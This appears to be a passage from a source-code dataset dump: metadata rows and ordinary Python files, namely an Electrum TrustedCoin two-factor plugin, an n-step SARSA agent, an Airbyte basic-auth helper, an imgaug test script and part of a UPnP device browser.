Ciphertext length: {self.ciphertext_length}") logging.debug(f"Decoded Ciphertext:\n{self.ciphertext}")
true
true
f7f3ccb0fb35efa2e03b25f56292cf0116f49a4f
13,102
py
Python
electrum/plugins/trustedcoin/qt.py
ProjectMerge/electrum-merge
9a77ca74fec434ccdc862aeb82093f90e96cb550
[ "MIT" ]
null
null
null
electrum/plugins/trustedcoin/qt.py
ProjectMerge/electrum-merge
9a77ca74fec434ccdc862aeb82093f90e96cb550
[ "MIT" ]
null
null
null
electrum/plugins/trustedcoin/qt.py
ProjectMerge/electrum-merge
9a77ca74fec434ccdc862aeb82093f90e96cb550
[ "MIT" ]
1
2020-12-18T17:13:10.000Z
2020-12-18T17:13:10.000Z
#!/usr/bin/env python # # Electrum - Lightweight Merge Client # Copyright (C) 2015 Thomas Voegtlin # # Permission is hereby granted, free of charge, to any person # obtaining a copy of this software and associated documentation files # (the "Software"), to deal in the Software without restriction, # including without limitation the rights to use, copy, modify, merge, # publish, distribute, sublicense, and/or sell copies of the Software, # and to permit persons to whom the Software is furnished to do so, # subject to the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS # BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE # SOFTWARE. from functools import partial import threading import sys import os from PyQt5.QtGui import QPixmap from PyQt5.QtCore import QObject, pyqtSignal from PyQt5.QtWidgets import (QTextEdit, QVBoxLayout, QLabel, QGridLayout, QHBoxLayout, QRadioButton, QCheckBox, QLineEdit) from electrum.gui.qt.util import (read_QIcon, WindowModalDialog, WaitingDialog, OkButton, CancelButton, Buttons, icon_path, WWLabel, CloseButton) from electrum.gui.qt.qrcodewidget import QRCodeWidget from electrum.gui.qt.amountedit import AmountEdit from electrum.gui.qt.main_window import StatusBarButton from electrum.gui.qt.installwizard import InstallWizard from electrum.i18n import _ from electrum.plugin import hook from electrum.util import is_valid_email from electrum.logging import Logger from electrum.base_wizard import GoBack from .trustedcoin import TrustedCoinPlugin, server class TOS(QTextEdit): tos_signal = pyqtSignal() error_signal = pyqtSignal(object) class HandlerTwoFactor(QObject, Logger): def __init__(self, plugin, window): QObject.__init__(self) self.plugin = plugin self.window = window Logger.__init__(self) def prompt_user_for_otp(self, wallet, tx, on_success, on_failure): if not isinstance(wallet, self.plugin.wallet_class): return if wallet.can_sign_without_server(): return if not wallet.keystores['x3/'].get_tx_derivations(tx): self.logger.info("twofactor: xpub3 not needed") return window = self.window.top_level_window() auth_code = self.plugin.auth_dialog(window) WaitingDialog(parent=window, message=_('Waiting for TrustedCoin server to sign transaction...'), task=lambda: wallet.on_otp(tx, auth_code), on_success=lambda *args: on_success(tx), on_error=on_failure) class Plugin(TrustedCoinPlugin): def __init__(self, parent, config, name): super().__init__(parent, config, name) @hook def on_new_window(self, window): wallet = window.wallet if not isinstance(wallet, self.wallet_class): return wallet.handler_2fa = HandlerTwoFactor(self, window) if wallet.can_sign_without_server(): msg = ' '.join([ _('This wallet was restored from seed, and it contains two master private keys.'), _('Therefore, two-factor authentication is disabled.') ]) action = lambda: window.show_message(msg) else: action = partial(self.settings_dialog, window) button = StatusBarButton(read_QIcon("trustedcoin-status.png"), _("TrustedCoin"), action) window.statusBar().addPermanentWidget(button) self.start_request_thread(window.wallet) def auth_dialog(self, window): d = WindowModalDialog(window, _("Authorization")) vbox = QVBoxLayout(d) pw = AmountEdit(None, is_int = True) msg = _('Please enter your Google Authenticator code') vbox.addWidget(QLabel(msg)) grid = QGridLayout() grid.setSpacing(8) grid.addWidget(QLabel(_('Code')), 1, 0) grid.addWidget(pw, 1, 1) vbox.addLayout(grid) msg = _('If you have lost your second factor, you need to restore your wallet from seed in order to request a new code.') label = QLabel(msg) label.setWordWrap(1) vbox.addWidget(label) vbox.addLayout(Buttons(CancelButton(d), OkButton(d))) if not d.exec_(): return return pw.get_amount() def prompt_user_for_otp(self, wallet, tx, on_success, on_failure): wallet.handler_2fa.prompt_user_for_otp(wallet, tx, on_success, on_failure) def waiting_dialog_for_billing_info(self, window, *, on_finished=None): def task(): return self.request_billing_info(window.wallet, suppress_connection_error=False) def on_error(exc_info): e = exc_info[1] window.show_error("{header}\n{exc}\n\n{tor}" .format(header=_('Error getting TrustedCoin account info.'), exc=str(e), tor=_('If you keep experiencing network problems, try using a Tor proxy.'))) return WaitingDialog(parent=window, message=_('Requesting account info from TrustedCoin server...'), task=task, on_success=on_finished, on_error=on_error) @hook def abort_send(self, window): wallet = window.wallet if not isinstance(wallet, self.wallet_class): return if wallet.can_sign_without_server(): return if wallet.billing_info is None: self.waiting_dialog_for_billing_info(window) return True return False def settings_dialog(self, window): self.waiting_dialog_for_billing_info(window, on_finished=partial(self.show_settings_dialog, window)) def show_settings_dialog(self, window, success): if not success: window.show_message(_('Server not reachable.')) return wallet = window.wallet d = WindowModalDialog(window, _("TrustedCoin Information")) d.setMinimumSize(500, 200) vbox = QVBoxLayout(d) hbox = QHBoxLayout() logo = QLabel() logo.setPixmap(QPixmap(icon_path("trustedcoin-status.png"))) msg = _('This wallet is protected by TrustedCoin\'s two-factor authentication.') + '<br/>'\ + _("For more information, visit") + " <a href=\"https://api.trustedcoin.com/#/electrum-help\">https://api.trustedcoin.com/#/electrum-help</a>" label = QLabel(msg) label.setOpenExternalLinks(1) hbox.addStretch(10) hbox.addWidget(logo) hbox.addStretch(10) hbox.addWidget(label) hbox.addStretch(10) vbox.addLayout(hbox) vbox.addStretch(10) msg = _('TrustedCoin charges a small fee to co-sign transactions. The fee depends on how many prepaid transactions you buy. An extra output is added to your transaction every time you run out of prepaid transactions.') + '<br/>' label = QLabel(msg) label.setWordWrap(1) vbox.addWidget(label) vbox.addStretch(10) grid = QGridLayout() vbox.addLayout(grid) price_per_tx = wallet.price_per_tx n_prepay = wallet.num_prepay(self.config) i = 0 for k, v in sorted(price_per_tx.items()): if k == 1: continue grid.addWidget(QLabel("Pay every %d transactions:"%k), i, 0) grid.addWidget(QLabel(window.format_amount(v/k) + ' ' + window.base_unit() + "/tx"), i, 1) b = QRadioButton() b.setChecked(k == n_prepay) b.clicked.connect(lambda b, k=k: self.config.set_key('trustedcoin_prepay', k, True)) grid.addWidget(b, i, 2) i += 1 n = wallet.billing_info.get('tx_remaining', 0) grid.addWidget(QLabel(_("Your wallet has {} prepaid transactions.").format(n)), i, 0) vbox.addLayout(Buttons(CloseButton(d))) d.exec_() def go_online_dialog(self, wizard: InstallWizard): msg = [ _("Your wallet file is: {}.").format(os.path.abspath(wizard.path)), _("You need to be online in order to complete the creation of " "your wallet. If you generated your seed on an offline " 'computer, click on "{}" to close this window, move your ' "wallet file to an online computer, and reopen it with " "Electrum.").format(_('Cancel')), _('If you are online, click on "{}" to continue.').format(_('Next')) ] msg = '\n\n'.join(msg) wizard.reset_stack() try: wizard.confirm_dialog(title='', message=msg, run_next = lambda x: wizard.run('accept_terms_of_use')) except GoBack: # user clicked 'Cancel' and decided to move wallet file manually wizard.create_storage(wizard.path) raise def accept_terms_of_use(self, window): vbox = QVBoxLayout() vbox.addWidget(QLabel(_("Terms of Service"))) tos_e = TOS() tos_e.setReadOnly(True) vbox.addWidget(tos_e) tos_received = False vbox.addWidget(QLabel(_("Please enter your e-mail address"))) email_e = QLineEdit() vbox.addWidget(email_e) next_button = window.next_button prior_button_text = next_button.text() next_button.setText(_('Accept')) def request_TOS(): try: tos = server.get_terms_of_service() except Exception as e: self.logger.exception('Could not retrieve Terms of Service') tos_e.error_signal.emit(_('Could not retrieve Terms of Service:') + '\n' + str(e)) return self.TOS = tos tos_e.tos_signal.emit() def on_result(): tos_e.setText(self.TOS) nonlocal tos_received tos_received = True set_enabled() def on_error(msg): window.show_error(str(msg)) window.terminate() def set_enabled(): next_button.setEnabled(tos_received and is_valid_email(email_e.text())) tos_e.tos_signal.connect(on_result) tos_e.error_signal.connect(on_error) t = threading.Thread(target=request_TOS) t.setDaemon(True) t.start() email_e.textChanged.connect(set_enabled) email_e.setFocus(True) window.exec_layout(vbox, next_enabled=False) next_button.setText(prior_button_text) email = str(email_e.text()) self.create_remote_key(email, window) def request_otp_dialog(self, window, short_id, otp_secret, xpub3): vbox = QVBoxLayout() if otp_secret is not None: uri = "otpauth://totp/%s?secret=%s"%('trustedcoin.com', otp_secret) l = QLabel("Please scan the following QR code in Google Authenticator. You may as well use the following key: %s"%otp_secret) l.setWordWrap(True) vbox.addWidget(l) qrw = QRCodeWidget(uri) vbox.addWidget(qrw, 1) msg = _('Then, enter your Google Authenticator code:') else: label = QLabel( "This wallet is already registered with TrustedCoin. " "To finalize wallet creation, please enter your Google Authenticator Code. " ) label.setWordWrap(1) vbox.addWidget(label) msg = _('Google Authenticator code:') hbox = QHBoxLayout() hbox.addWidget(WWLabel(msg)) pw = AmountEdit(None, is_int = True) pw.setFocus(True) pw.setMaximumWidth(50) hbox.addWidget(pw) vbox.addLayout(hbox) cb_lost = QCheckBox(_("I have lost my Google Authenticator account")) cb_lost.setToolTip(_("Check this box to request a new secret. You will need to retype your seed.")) vbox.addWidget(cb_lost) cb_lost.setVisible(otp_secret is None) def set_enabled(): b = True if cb_lost.isChecked() else len(pw.text()) == 6 window.next_button.setEnabled(b) pw.textChanged.connect(set_enabled) cb_lost.toggled.connect(set_enabled) window.exec_layout(vbox, next_enabled=False, raise_on_cancel=False) self.check_otp(window, short_id, otp_secret, xpub3, pw.get_amount(), cb_lost.isChecked())
40.689441
236
0.625706
from functools import partial import threading import sys import os from PyQt5.QtGui import QPixmap from PyQt5.QtCore import QObject, pyqtSignal from PyQt5.QtWidgets import (QTextEdit, QVBoxLayout, QLabel, QGridLayout, QHBoxLayout, QRadioButton, QCheckBox, QLineEdit) from electrum.gui.qt.util import (read_QIcon, WindowModalDialog, WaitingDialog, OkButton, CancelButton, Buttons, icon_path, WWLabel, CloseButton) from electrum.gui.qt.qrcodewidget import QRCodeWidget from electrum.gui.qt.amountedit import AmountEdit from electrum.gui.qt.main_window import StatusBarButton from electrum.gui.qt.installwizard import InstallWizard from electrum.i18n import _ from electrum.plugin import hook from electrum.util import is_valid_email from electrum.logging import Logger from electrum.base_wizard import GoBack from .trustedcoin import TrustedCoinPlugin, server class TOS(QTextEdit): tos_signal = pyqtSignal() error_signal = pyqtSignal(object) class HandlerTwoFactor(QObject, Logger): def __init__(self, plugin, window): QObject.__init__(self) self.plugin = plugin self.window = window Logger.__init__(self) def prompt_user_for_otp(self, wallet, tx, on_success, on_failure): if not isinstance(wallet, self.plugin.wallet_class): return if wallet.can_sign_without_server(): return if not wallet.keystores['x3/'].get_tx_derivations(tx): self.logger.info("twofactor: xpub3 not needed") return window = self.window.top_level_window() auth_code = self.plugin.auth_dialog(window) WaitingDialog(parent=window, message=_('Waiting for TrustedCoin server to sign transaction...'), task=lambda: wallet.on_otp(tx, auth_code), on_success=lambda *args: on_success(tx), on_error=on_failure) class Plugin(TrustedCoinPlugin): def __init__(self, parent, config, name): super().__init__(parent, config, name) @hook def on_new_window(self, window): wallet = window.wallet if not isinstance(wallet, self.wallet_class): return wallet.handler_2fa = HandlerTwoFactor(self, window) if wallet.can_sign_without_server(): msg = ' '.join([ _('This wallet was restored from seed, and it contains two master private keys.'), _('Therefore, two-factor authentication is disabled.') ]) action = lambda: window.show_message(msg) else: action = partial(self.settings_dialog, window) button = StatusBarButton(read_QIcon("trustedcoin-status.png"), _("TrustedCoin"), action) window.statusBar().addPermanentWidget(button) self.start_request_thread(window.wallet) def auth_dialog(self, window): d = WindowModalDialog(window, _("Authorization")) vbox = QVBoxLayout(d) pw = AmountEdit(None, is_int = True) msg = _('Please enter your Google Authenticator code') vbox.addWidget(QLabel(msg)) grid = QGridLayout() grid.setSpacing(8) grid.addWidget(QLabel(_('Code')), 1, 0) grid.addWidget(pw, 1, 1) vbox.addLayout(grid) msg = _('If you have lost your second factor, you need to restore your wallet from seed in order to request a new code.') label = QLabel(msg) label.setWordWrap(1) vbox.addWidget(label) vbox.addLayout(Buttons(CancelButton(d), OkButton(d))) if not d.exec_(): return return pw.get_amount() def prompt_user_for_otp(self, wallet, tx, on_success, on_failure): wallet.handler_2fa.prompt_user_for_otp(wallet, tx, on_success, on_failure) def waiting_dialog_for_billing_info(self, window, *, on_finished=None): def task(): return self.request_billing_info(window.wallet, suppress_connection_error=False) def on_error(exc_info): e = exc_info[1] window.show_error("{header}\n{exc}\n\n{tor}" .format(header=_('Error getting TrustedCoin account info.'), exc=str(e), tor=_('If you keep experiencing network problems, try using a Tor proxy.'))) return WaitingDialog(parent=window, message=_('Requesting account info from TrustedCoin server...'), task=task, on_success=on_finished, on_error=on_error) @hook def abort_send(self, window): wallet = window.wallet if not isinstance(wallet, self.wallet_class): return if wallet.can_sign_without_server(): return if wallet.billing_info is None: self.waiting_dialog_for_billing_info(window) return True return False def settings_dialog(self, window): self.waiting_dialog_for_billing_info(window, on_finished=partial(self.show_settings_dialog, window)) def show_settings_dialog(self, window, success): if not success: window.show_message(_('Server not reachable.')) return wallet = window.wallet d = WindowModalDialog(window, _("TrustedCoin Information")) d.setMinimumSize(500, 200) vbox = QVBoxLayout(d) hbox = QHBoxLayout() logo = QLabel() logo.setPixmap(QPixmap(icon_path("trustedcoin-status.png"))) msg = _('This wallet is protected by TrustedCoin\'s two-factor authentication.') + '<br/>'\ + _("For more information, visit") + " <a href=\"https://api.trustedcoin.com/#/electrum-help\">https://api.trustedcoin.com/#/electrum-help</a>" label = QLabel(msg) label.setOpenExternalLinks(1) hbox.addStretch(10) hbox.addWidget(logo) hbox.addStretch(10) hbox.addWidget(label) hbox.addStretch(10) vbox.addLayout(hbox) vbox.addStretch(10) msg = _('TrustedCoin charges a small fee to co-sign transactions. The fee depends on how many prepaid transactions you buy. An extra output is added to your transaction every time you run out of prepaid transactions.') + '<br/>' label = QLabel(msg) label.setWordWrap(1) vbox.addWidget(label) vbox.addStretch(10) grid = QGridLayout() vbox.addLayout(grid) price_per_tx = wallet.price_per_tx n_prepay = wallet.num_prepay(self.config) i = 0 for k, v in sorted(price_per_tx.items()): if k == 1: continue grid.addWidget(QLabel("Pay every %d transactions:"%k), i, 0) grid.addWidget(QLabel(window.format_amount(v/k) + ' ' + window.base_unit() + "/tx"), i, 1) b = QRadioButton() b.setChecked(k == n_prepay) b.clicked.connect(lambda b, k=k: self.config.set_key('trustedcoin_prepay', k, True)) grid.addWidget(b, i, 2) i += 1 n = wallet.billing_info.get('tx_remaining', 0) grid.addWidget(QLabel(_("Your wallet has {} prepaid transactions.").format(n)), i, 0) vbox.addLayout(Buttons(CloseButton(d))) d.exec_() def go_online_dialog(self, wizard: InstallWizard): msg = [ _("Your wallet file is: {}.").format(os.path.abspath(wizard.path)), _("You need to be online in order to complete the creation of " "your wallet. If you generated your seed on an offline " 'computer, click on "{}" to close this window, move your ' "wallet file to an online computer, and reopen it with " "Electrum.").format(_('Cancel')), _('If you are online, click on "{}" to continue.').format(_('Next')) ] msg = '\n\n'.join(msg) wizard.reset_stack() try: wizard.confirm_dialog(title='', message=msg, run_next = lambda x: wizard.run('accept_terms_of_use')) except GoBack: # user clicked 'Cancel' and decided to move wallet file manually wizard.create_storage(wizard.path) raise def accept_terms_of_use(self, window): vbox = QVBoxLayout() vbox.addWidget(QLabel(_("Terms of Service"))) tos_e = TOS() tos_e.setReadOnly(True) vbox.addWidget(tos_e) tos_received = False vbox.addWidget(QLabel(_("Please enter your e-mail address"))) email_e = QLineEdit() vbox.addWidget(email_e) next_button = window.next_button prior_button_text = next_button.text() next_button.setText(_('Accept')) def request_TOS(): try: tos = server.get_terms_of_service() except Exception as e: self.logger.exception('Could not retrieve Terms of Service') tos_e.error_signal.emit(_('Could not retrieve Terms of Service:') + '\n' + str(e)) return self.TOS = tos tos_e.tos_signal.emit() def on_result(): tos_e.setText(self.TOS) nonlocal tos_received tos_received = True set_enabled() def on_error(msg): window.show_error(str(msg)) window.terminate() def set_enabled(): next_button.setEnabled(tos_received and is_valid_email(email_e.text())) tos_e.tos_signal.connect(on_result) tos_e.error_signal.connect(on_error) t = threading.Thread(target=request_TOS) t.setDaemon(True) t.start() email_e.textChanged.connect(set_enabled) email_e.setFocus(True) window.exec_layout(vbox, next_enabled=False) next_button.setText(prior_button_text) email = str(email_e.text()) self.create_remote_key(email, window) def request_otp_dialog(self, window, short_id, otp_secret, xpub3): vbox = QVBoxLayout() if otp_secret is not None: uri = "otpauth://totp/%s?secret=%s"%('trustedcoin.com', otp_secret) l = QLabel("Please scan the following QR code in Google Authenticator. You may as well use the following key: %s"%otp_secret) l.setWordWrap(True) vbox.addWidget(l) qrw = QRCodeWidget(uri) vbox.addWidget(qrw, 1) msg = _('Then, enter your Google Authenticator code:') else: label = QLabel( "This wallet is already registered with TrustedCoin. " "To finalize wallet creation, please enter your Google Authenticator Code. " ) label.setWordWrap(1) vbox.addWidget(label) msg = _('Google Authenticator code:') hbox = QHBoxLayout() hbox.addWidget(WWLabel(msg)) pw = AmountEdit(None, is_int = True) pw.setFocus(True) pw.setMaximumWidth(50) hbox.addWidget(pw) vbox.addLayout(hbox) cb_lost = QCheckBox(_("I have lost my Google Authenticator account")) cb_lost.setToolTip(_("Check this box to request a new secret. You will need to retype your seed.")) vbox.addWidget(cb_lost) cb_lost.setVisible(otp_secret is None) def set_enabled(): b = True if cb_lost.isChecked() else len(pw.text()) == 6 window.next_button.setEnabled(b) pw.textChanged.connect(set_enabled) cb_lost.toggled.connect(set_enabled) window.exec_layout(vbox, next_enabled=False, raise_on_cancel=False) self.check_otp(window, short_id, otp_secret, xpub3, pw.get_amount(), cb_lost.isChecked())
true
true
f7f3ccd8067db124035ca6cba4dca3bd678afe35
3,097
py
Python
rl_examples/approximate_td.py
apuranik1/rl-examples
af807bd9311e056e8690ee4bc5abbc63a91381e9
[ "MIT" ]
null
null
null
rl_examples/approximate_td.py
apuranik1/rl-examples
af807bd9311e056e8690ee4bc5abbc63a91381e9
[ "MIT" ]
null
null
null
rl_examples/approximate_td.py
apuranik1/rl-examples
af807bd9311e056e8690ee4bc5abbc63a91381e9
[ "MIT" ]
null
null
null
from typing import Deque, Tuple from collections import deque import numpy as np from .psfa import PSFAAgent, PSFAEnvironment, TState, TAction from .approximation import TrainableEstimator, Featurizer class ApproximationTDNAgent(PSFAAgent[TState, TAction]): """A bootstrapping agent using n-step SARSA""" def __init__( self, env: PSFAEnvironment[TState, TAction], featurizer: Featurizer[Tuple[TState, TAction]], estimator: TrainableEstimator, exploration_rate: float, n: int, lr: float, use_average_reward: bool = False, ): self.env = env self.featurizer = featurizer self.estimator = estimator self.differential = use_average_reward self.avg_reward = 0.0 self.epsilon = exploration_rate self.n = n self.lr = lr self.data_queue: Deque[Tuple[TState, TAction, float]] = deque() def action(self, state: TState) -> TAction: available_actions = self.env.get_actions(state) if np.random.rand() < self.epsilon: return np.random.choice(available_actions) # type: ignore else: batch_featurized = np.stack( [self._featurize(state, action) for action in available_actions] ) value_estimates = self.estimator.batch_estimate(batch_featurized) max_idx: int = np.argmax(value_estimates) return available_actions[max_idx] def _evaluate_queue(self, trailing_rewards: float) -> float: est = trailing_rewards + sum(reward for s, a, reward in self.data_queue) if self.differential: return est - len(self.data_queue) * self.avg_reward else: return est def _featurize(self, state: TState, action: TAction) -> np.ndarray: return self.featurizer.featurize((state, action)) def act_and_train(self, t: int) -> Tuple[TState, TAction, float]: state = self.env.state action = self.action(state) reward = self.env.take_action(action) if len(self.data_queue) == self.n: trailing_estimate = self.estimator.estimate(self._featurize(state, action)) reward_estimate = self._evaluate_queue(trailing_estimate) old_state, old_action, old_reward = self.data_queue.popleft() current_estimate = self.estimator.estimate_and_update( self._featurize(old_state, old_action), reward_estimate ) self.avg_reward += self.lr * (reward_estimate - current_estimate) self.data_queue.append((state, action, reward)) return state, action, reward def episode_end(self) -> None: while self.data_queue: reward_estimate = self._evaluate_queue(0.0) old_state, old_action, old_reward = self.data_queue.popleft() current_estimate = self.estimator.estimate_and_update( self._featurize(old_state, old_action), reward_estimate ) self.avg_reward += self.lr * (reward_estimate - current_estimate)
39.705128
87
0.648046
from typing import Deque, Tuple from collections import deque import numpy as np from .psfa import PSFAAgent, PSFAEnvironment, TState, TAction from .approximation import TrainableEstimator, Featurizer class ApproximationTDNAgent(PSFAAgent[TState, TAction]): def __init__( self, env: PSFAEnvironment[TState, TAction], featurizer: Featurizer[Tuple[TState, TAction]], estimator: TrainableEstimator, exploration_rate: float, n: int, lr: float, use_average_reward: bool = False, ): self.env = env self.featurizer = featurizer self.estimator = estimator self.differential = use_average_reward self.avg_reward = 0.0 self.epsilon = exploration_rate self.n = n self.lr = lr self.data_queue: Deque[Tuple[TState, TAction, float]] = deque() def action(self, state: TState) -> TAction: available_actions = self.env.get_actions(state) if np.random.rand() < self.epsilon: return np.random.choice(available_actions) else: batch_featurized = np.stack( [self._featurize(state, action) for action in available_actions] ) value_estimates = self.estimator.batch_estimate(batch_featurized) max_idx: int = np.argmax(value_estimates) return available_actions[max_idx] def _evaluate_queue(self, trailing_rewards: float) -> float: est = trailing_rewards + sum(reward for s, a, reward in self.data_queue) if self.differential: return est - len(self.data_queue) * self.avg_reward else: return est def _featurize(self, state: TState, action: TAction) -> np.ndarray: return self.featurizer.featurize((state, action)) def act_and_train(self, t: int) -> Tuple[TState, TAction, float]: state = self.env.state action = self.action(state) reward = self.env.take_action(action) if len(self.data_queue) == self.n: trailing_estimate = self.estimator.estimate(self._featurize(state, action)) reward_estimate = self._evaluate_queue(trailing_estimate) old_state, old_action, old_reward = self.data_queue.popleft() current_estimate = self.estimator.estimate_and_update( self._featurize(old_state, old_action), reward_estimate ) self.avg_reward += self.lr * (reward_estimate - current_estimate) self.data_queue.append((state, action, reward)) return state, action, reward def episode_end(self) -> None: while self.data_queue: reward_estimate = self._evaluate_queue(0.0) old_state, old_action, old_reward = self.data_queue.popleft() current_estimate = self.estimator.estimate_and_update( self._featurize(old_state, old_action), reward_estimate ) self.avg_reward += self.lr * (reward_estimate - current_estimate)
true
true
f7f3ccd81b07a0d320645f886926b6edbbf771e4
514
py
Python
airbyte-integrations/connectors/source-twilio/source_twilio/auth.py
OTRI-Unipd/OTRI-airbyte
50eeeb773f75246e86c6e167b0cd7d2dda6efe0d
[ "MIT" ]
6,215
2020-09-21T13:45:56.000Z
2022-03-31T21:21:45.000Z
airbyte-integrations/connectors/source-twilio/source_twilio/auth.py
OTRI-Unipd/OTRI-airbyte
50eeeb773f75246e86c6e167b0cd7d2dda6efe0d
[ "MIT" ]
8,448
2020-09-21T00:43:50.000Z
2022-03-31T23:56:06.000Z
airbyte-integrations/connectors/source-twilio/source_twilio/auth.py
OTRI-Unipd/OTRI-airbyte
50eeeb773f75246e86c6e167b0cd7d2dda6efe0d
[ "MIT" ]
1,251
2020-09-20T05:48:47.000Z
2022-03-31T10:41:29.000Z
# # Copyright (c) 2021 Airbyte, Inc., all rights reserved. # import base64 from typing import Tuple from airbyte_cdk.sources.streams.http.auth import TokenAuthenticator class HttpBasicAuthenticator(TokenAuthenticator): def __init__(self, auth: Tuple[str, str], auth_method: str = "Basic", **kwargs): auth_string = f"{auth[0]}:{auth[1]}".encode("utf8") b64_encoded = base64.b64encode(auth_string).decode("utf8") super().__init__(token=b64_encoded, auth_method=auth_method, **kwargs)
32.125
84
0.72179
import base64 from typing import Tuple from airbyte_cdk.sources.streams.http.auth import TokenAuthenticator class HttpBasicAuthenticator(TokenAuthenticator): def __init__(self, auth: Tuple[str, str], auth_method: str = "Basic", **kwargs): auth_string = f"{auth[0]}:{auth[1]}".encode("utf8") b64_encoded = base64.b64encode(auth_string).decode("utf8") super().__init__(token=b64_encoded, auth_method=auth_method, **kwargs)
true
true
f7f3cec3632a7a80afd3b01db0e6cff1496f253b
1,968
py
Python
checks/check_perspective_transform.py
dukebw/imgaug
eba6eef5808704926edce97de39af23cab18cb7f
[ "MIT" ]
null
null
null
checks/check_perspective_transform.py
dukebw/imgaug
eba6eef5808704926edce97de39af23cab18cb7f
[ "MIT" ]
null
null
null
checks/check_perspective_transform.py
dukebw/imgaug
eba6eef5808704926edce97de39af23cab18cb7f
[ "MIT" ]
null
null
null
from __future__ import print_function, division import numpy as np import imgaug as ia from imgaug import augmenters as iaa def main(): image = ia.data.quokka(size=0.5) kps = [ ia.KeypointsOnImage( [ ia.Keypoint(x=245, y=203), ia.Keypoint(x=365, y=195), ia.Keypoint(x=313, y=269), ], shape=(image.shape[0] * 2, image.shape[1] * 2), ) ] kps[0] = kps[0].on(image.shape) print("image shape:", image.shape) augs = [ iaa.PerspectiveTransform(scale=0.01, name="pt001", keep_size=True), iaa.PerspectiveTransform(scale=0.1, name="pt01", keep_size=True), iaa.PerspectiveTransform(scale=0.2, name="pt02", keep_size=True), iaa.PerspectiveTransform(scale=0.3, name="pt03", keep_size=True), iaa.PerspectiveTransform(scale=(0, 0.3), name="pt00to03", keep_size=True), ] print("original", image.shape) ia.imshow(kps[0].draw_on_image(image)) print("-----------------") print("Random aug per image") print("-----------------") for aug in augs: images_aug = [] for _ in range(16): aug_det = aug.to_deterministic() img_aug = aug_det.augment_image(image) kps_aug = aug_det.augment_keypoints(kps)[0] img_aug_kps = kps_aug.draw_on_image(img_aug) img_aug_kps = np.pad( img_aug_kps, ((1, 1), (1, 1), (0, 0)), mode="constant", constant_values=255, ) images_aug.append(img_aug_kps) print(aug.name) ia.imshow(ia.draw_grid(images_aug)) print("----------------") print("6 channels") print("----------------") image6 = np.dstack([image, image]) image6_aug = augs[1].augment_image(image6) ia.imshow(np.hstack([image6_aug[..., 0:3], image6_aug[..., 3:6]])) if __name__ == "__main__": main()
30.276923
82
0.54624
from __future__ import print_function, division import numpy as np import imgaug as ia from imgaug import augmenters as iaa def main(): image = ia.data.quokka(size=0.5) kps = [ ia.KeypointsOnImage( [ ia.Keypoint(x=245, y=203), ia.Keypoint(x=365, y=195), ia.Keypoint(x=313, y=269), ], shape=(image.shape[0] * 2, image.shape[1] * 2), ) ] kps[0] = kps[0].on(image.shape) print("image shape:", image.shape) augs = [ iaa.PerspectiveTransform(scale=0.01, name="pt001", keep_size=True), iaa.PerspectiveTransform(scale=0.1, name="pt01", keep_size=True), iaa.PerspectiveTransform(scale=0.2, name="pt02", keep_size=True), iaa.PerspectiveTransform(scale=0.3, name="pt03", keep_size=True), iaa.PerspectiveTransform(scale=(0, 0.3), name="pt00to03", keep_size=True), ] print("original", image.shape) ia.imshow(kps[0].draw_on_image(image)) print("-----------------") print("Random aug per image") print("-----------------") for aug in augs: images_aug = [] for _ in range(16): aug_det = aug.to_deterministic() img_aug = aug_det.augment_image(image) kps_aug = aug_det.augment_keypoints(kps)[0] img_aug_kps = kps_aug.draw_on_image(img_aug) img_aug_kps = np.pad( img_aug_kps, ((1, 1), (1, 1), (0, 0)), mode="constant", constant_values=255, ) images_aug.append(img_aug_kps) print(aug.name) ia.imshow(ia.draw_grid(images_aug)) print("----------------") print("6 channels") print("----------------") image6 = np.dstack([image, image]) image6_aug = augs[1].augment_image(image6) ia.imshow(np.hstack([image6_aug[..., 0:3], image6_aug[..., 3:6]])) if __name__ == "__main__": main()
true
true
f7f3cee8ab988538c1a20259a6e9102f31b17e83
21,373
py
Python
upnp_inspector/devices.py
coherence-project/UPnP-Inspector
636893cdc42d074b55045fc389222fdc28348620
[ "MIT" ]
42
2015-02-17T13:51:29.000Z
2021-08-23T09:56:58.000Z
upnp_inspector/devices.py
coherence-project/UPnP-Inspector
636893cdc42d074b55045fc389222fdc28348620
[ "MIT" ]
5
2015-06-17T00:02:55.000Z
2018-02-18T09:38:10.000Z
upnp_inspector/devices.py
coherence-project/UPnP-Inspector
636893cdc42d074b55045fc389222fdc28348620
[ "MIT" ]
14
2015-02-12T21:31:55.000Z
2019-12-05T05:35:16.000Z
# -*- coding: utf-8 -*- # Licensed under the MIT license # http://opensource.org/licenses/mit-license.php # Copyright 2009 - Frank Scholz <coherence@beebits.net> # Copyright 2014 - Hartmut Goebel <h.goebel@crazy-compilers.com> import time import pygtk pygtk.require("2.0") import gtk from twisted.internet import reactor from coherence.base import Coherence from coherence.upnp.core.utils import means_true from coherence import log from ._resources import _geticon # gtk store defines TYPE_COLUMN = 0 NAME_COLUMN = 1 UDN_COLUMN = 2 ICON_COLUMN = 3 OBJECT_COLUMN = 4 DEVICE = 0 SERVICE = 1 VARIABLE = 2 ACTION = 3 ARGUMENT = 4 def device_type(object): if object is None: return None return object.get_device_type().split(':')[3].lower() class DevicesWidget(log.Loggable): logCategory = 'inspector' def __init__(self, coherence): self.coherence = coherence self.cb_item_dbl_click = None self.cb_item_left_click = None self.cb_item_right_click = None self.cb_resource_chooser = None self.build_ui() self.init_controlpoint() def build_ui(self): self.window = gtk.ScrolledWindow() self.window.set_policy(gtk.POLICY_AUTOMATIC, gtk.POLICY_AUTOMATIC) self.icons = {} self.icons['device'] = _geticon('upnp-device.png') self.icons['mediaserver'] = _geticon('network-server.png') self.icons['mediarenderer'] = _geticon('media-renderer.png') self.icons['binarylight'] = _geticon('network-light.png') self.icons['dimmablelight'] = self.icons['binarylight'] self.icons['digitalsecuritycamera'] = _geticon('camera-web.png') self.icons['printer'] = _geticon('printer.png') self.folder_icon = _geticon('folder.png') self.service_icon = _geticon('upnp-service.png') self.action_icon = 